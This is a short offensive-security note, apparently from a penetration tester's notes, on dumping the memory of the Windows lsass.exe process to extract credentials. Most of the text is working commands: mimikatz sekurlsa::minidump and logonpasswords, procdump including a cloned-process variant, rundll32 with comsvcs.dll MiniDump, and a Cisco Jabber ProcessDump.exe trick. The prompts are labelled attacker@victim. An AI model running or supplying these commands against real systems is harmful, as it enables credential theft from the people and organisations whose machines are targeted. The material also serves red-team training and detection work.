Dumping Lsass Without Mimikatz
See my notes about writing a simple custom process dumper using
MiniDumpWriteDump API:Create a minidump of the lsass.exe using task manager (must be running as administrator):
Swtich mimikatz context to the minidump:
attacker@mimikatz
sekurlsa::minidump C:\Users\ADMINI~1.OFF\AppData\Local\Temp\lsass.DMP
sekurlsa::logonpasswords
Procdump from sysinternal's could also be used to dump the process:
attacker@victim
procdump.exe -accepteula -ma lsass.exe lsass.dmp
// or avoid reading lsass by dumping a cloned lsass process
procdump.exe -accepteula -r -ma lsass.exe lsass.dmp
Executing a native comsvcs.dll DLL found in Windows\system32 with rundll32:
.\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 624 C:\temp\lsass.dmp full
Sometimes Cisco Jabber (always?) comes with a nice utility called
ProcessDump.exe that can be found in c:\program files (x86)\cisco systems\cisco jabber\x64\. We can use it to dump lsass process memory in Powershell like so:cd c:\program files (x86)\cisco systems\cisco jabber\x64\
processdump.exe (ps lsass).id c:\temp\lsass.dmp
